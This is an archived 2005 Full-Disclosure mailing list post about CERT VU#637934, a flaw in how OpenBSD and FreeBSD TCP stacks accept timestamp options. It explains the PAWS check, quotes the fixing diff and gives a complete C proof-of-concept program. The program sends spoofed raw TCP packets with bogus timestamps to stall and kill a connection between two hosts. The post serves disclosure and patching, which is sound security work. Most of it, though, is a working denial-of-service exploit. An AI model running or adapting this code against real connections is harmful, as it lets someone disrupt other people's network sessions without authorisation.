lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20050521164603.GB14965@insomnia.benzedrine.cx>
Date: Sat May 21 17:46:22 2005
From: daniel at benzedrine.cx (Daniel Hartmeier)
Subject: CERT VU#637934

/*
 * TCP does not adequately validate segments before updating timestamp value
 * http://www.kb.cert.org/vuls/id/637934
 *
 * RFC-1323 (TCP Extensions for High Performance)
 *
 *   4.2.1 defines how the PAWS algorithm should drop packets with invalid
 *   timestamp options:
 *   
 *       R1)  If there is a Timestamps option in the arriving segment
 *            and SEG.TSval < TS.Recent and if TS.Recent is valid (see
 *            later discussion), then treat the arriving segment as not
 *            acceptable:
 *
 *                 Send an acknowledgement in reply as specified in
 *                 RFC-793 page 69 and drop the segment.
 *
 *   3.4 defines what timestamp options to accept:
 *
 *    (2)  If Last.ACK.sent falls within the range of sequence numbers
 *         of an incoming segment:
 *
 *            SEG.SEQ <= Last.ACK.sent < SEG.SEQ + SEG.LEN
 *
 *         then the TSval from the segment is copied to TS.Recent;
 *         otherwise, the TSval is ignored.
 *
 * http://community.roxen.com/developers/idocs/drafts/
 *   draft-jacobson-tsvwg-1323bis-00.html
 *
 *   3.4 suggests an slightly different check like
 *
 *     (2)  If:  SEG.TSval >= TSrecent and SEG.SEQ <= Last.ACK.sent
 *               then SEG.TSval is copied to TS.Recent; otherwise, it is
 *               ignored.
 *
 *   and explains this change
 *
 *     APPENDIX C: CHANGES FROM RFC-1072, RFC-1185, RFC-1323
 *
 *       There are additional changes in this document from RFC-1323. These
 *       changes are:
 *       (b)  In RFC-1323, section 3.4, step (2) of the algorithm to control
 *            which timestamp is echoed was incorrect in two regards:
 *            (1)  It failed to update TSrecent for a retransmitted segment
 *                 that resulted from a lost ACK.
 *            (2)  It failed if SEG.LEN = 0.
 *            In the new algorithm, the case of SEG.TSval = TSrecent is
 *            included for consistency with the PAWS test.
 *
 * At least OpenBSD and FreeBSD contain this code instead:
 *
 *   sys/netinet/tcp_input.c tcp_input()
 *
 *      **
 *       * If last ACK falls within this segment's sequence numbers,
 *       * record its timestamp.
 *       * NOTE that the test is modified according to the latest
 *       * proposal of the tcplw@...y.com list (Braden 1993/04/26).
 *       **
 *      if ((to.to_flags & TOF_TS) != 0 &&
 *          SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {
 *              tp->ts_recent_age = ticks;
 *              tp->ts_recent = to.to_tsval;
 *      }
 *
 * The problem here is that the packet the timestamp is accepted from doesn't
 * need to have a valid th_seq or th_ack. This point of execution is reached
 * for packets with arbitrary th_ack values and th_seq values of half the
 * possible value range, because the first 'if (todrop > tlen)' check in the
 * function explicitely continues execution to process ACKs.
 *
 * If an attacker knows (or guesses) the source and destination addresses and
 * ports of a connection between two peers, he can send spoofed TCP packets
 * to either peer containing bogus timestamp options. Since half of the
 * possible th_seq and timestamp values are accepted, four packets containing
 * two random values and their integer wraparound opposites are sufficient to
 * get one random timestamp accepted by the receipient. Further packets from
 * the real peer will get dropped by PAWS, and the TCP connection stalls and
 * times out.
 *
 * The following change reverts the tcp_input() check back to the implemented
 * suggested by draft-jacobson-tsvwg-1323bis-00.txt
 *
 *      if (opti.ts_present && TSTMP_GEQ(opti.ts_val, tp->ts_recent) &&
 *          SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {
 * +            if (SEQ_LEQ(tp->last_ack_sent, th->th_seq + tlen +
 * +                ((tiflags & (TH_SYN|TH_FIN)) != 0)))
 * +                    tp->ts_recent = opti.ts_val;
 * +            else
 * +                    tp->ts_recent = 0;
 *              tp->ts_recent_age = tcp_now;
 * -            tp->ts_recent = opti.ts_val;
 *      }
 *
 * I can't find Braden's proposal referenced in the comment. It seems to
 * pre-date draft-jacobson-tsvwg-1323bis-00.txt and might be outdated by
 * it.
 *
 * Fri Mar 11 02:33:36 MET 2005   Daniel Hartmeier <daniel@...zedrine.cx>
 *
 * http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/tcp_input.c.diff\
 * ?r1=1.184&r2=1.185&f=h
 *
 * http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/netinet/tcp_input.c.diff\
 * ?r1=1.252.2.15&r2=1.252.2.16&f=h
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <net/if.h>
#ifdef __FreeBSD__
#include <net/if_var.h>
#endif
#include <netinet/in.h>
#include <netinet/in_var.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

static u_int16_t
checksum(u_int16_t *data, u_int16_t length)
{
	u_int32_t value = 0;
	u_int16_t i;

	for (i = 0; i < (length >> 1); ++i)
		value += data[i];
	if ((length & 1) == 1)
		value += (data[i] << 8);
	value = (value & 65535) + (value >> 16);
	return (~value);
}

static int
send_tcp(int sock, u_int32_t saddr, u_int32_t daddr, u_int16_t sport,
    u_int16_t dport, u_int32_t seq, u_int32_t ts)
{
	u_char packet[1600];
	struct tcphdr *tcp;
	struct ip *ip;
	unsigned char *opt;
	int optlen, len, r;
	struct sockaddr_in sin;

	memset(packet, 0, sizeof(packet));

	opt = packet + sizeof(struct ip) + sizeof(struct tcphdr);
	optlen = 0;
	opt[optlen++] = TCPOPT_NOP;
	opt[optlen++] = TCPOPT_NOP;
	opt[optlen++] = TCPOPT_TIMESTAMP;
	opt[optlen++] = 10;
	ts = htonl(ts);
	memcpy(opt + optlen, &ts, sizeof(ts));
	optlen += sizeof(ts);
	ts = htonl(0);
	memcpy(opt + optlen, &ts, sizeof(ts));
	optlen += sizeof(ts);

	len = sizeof(struct ip) + sizeof(struct tcphdr) + optlen;

	ip = (struct ip *)packet;
	ip->ip_src.s_addr = saddr;
	ip->ip_dst.s_addr = daddr;
	ip->ip_p = IPPROTO_TCP;
	ip->ip_len = htons(sizeof(struct tcphdr) + optlen);

	tcp = (struct tcphdr *)(packet + sizeof(struct ip));
	tcp->th_sport = htons(sport);
	tcp->th_dport = htons(dport);
	tcp->th_seq = htonl(seq);
	tcp->th_ack = 0;
	tcp->th_off = (sizeof(struct tcphdr) + optlen) / 4;
	tcp->th_flags = 0;
	tcp->th_win = htons(16384);
	tcp->th_sum = 0;
	tcp->th_urp = 0;

	tcp->th_sum = checksum((u_int16_t *)ip, len);

	ip->ip_v = 4;
	ip->ip_hl = 5;
	ip->ip_tos = 0;
	ip->ip_len = htons(len);
	ip->ip_id = htons(arc4random() % 65536);
	ip->ip_off = 0;
	ip->ip_ttl = 64;

	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = saddr;

	r = sendto(sock, packet, len, 0, (struct sockaddr *)&sin, sizeof(sin));
	if (r != len) {
		perror("sendto");
		return (1);
	}

	return (0);
}

static u_int32_t
op(u_int32_t u)
{
	return (u_int32_t)(((u_int64_t)u + 2147483648UL) % 4294967296ULL);
}

int main(int argc, char *argv[])
{
	u_int32_t saddr, daddr, seq, ts;
	u_int16_t sport, dport;
	int sock, i;

	if (argc != 5) {
		fprintf(stderr, "usage: %s <src ip> <src port> "
		    "<dst ip> <dst port>\n", argv[0]);
		return (1);
	}

	saddr = inet_addr(argv[1]);
	daddr = inet_addr(argv[3]);
	sport = atoi(argv[2]);
	dport = atoi(argv[4]);

	sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (sock < 0) {
		perror("socket");
		return (1);
	}
	i = 1;
	if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) == -1) {
		perror("setsockopt");
		close(sock);
		return (1);
	}

	seq = arc4random();
	ts = arc4random();
	if (send_tcp(sock, saddr, daddr, sport, dport, seq, ts) ||
	    send_tcp(sock, saddr, daddr, sport, dport, seq, op(ts)) ||
	    send_tcp(sock, saddr, daddr, sport, dport, op(seq), ts) ||
	    send_tcp(sock, saddr, daddr, sport, dport, op(seq), op(ts))) {
		fprintf(stderr, "failed\n");
		close(sock);
		return (1);
	}

	close(sock);
	printf("done\n");
	return (0);
}
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 305 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050521/c482d9b1/attachment.bin

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ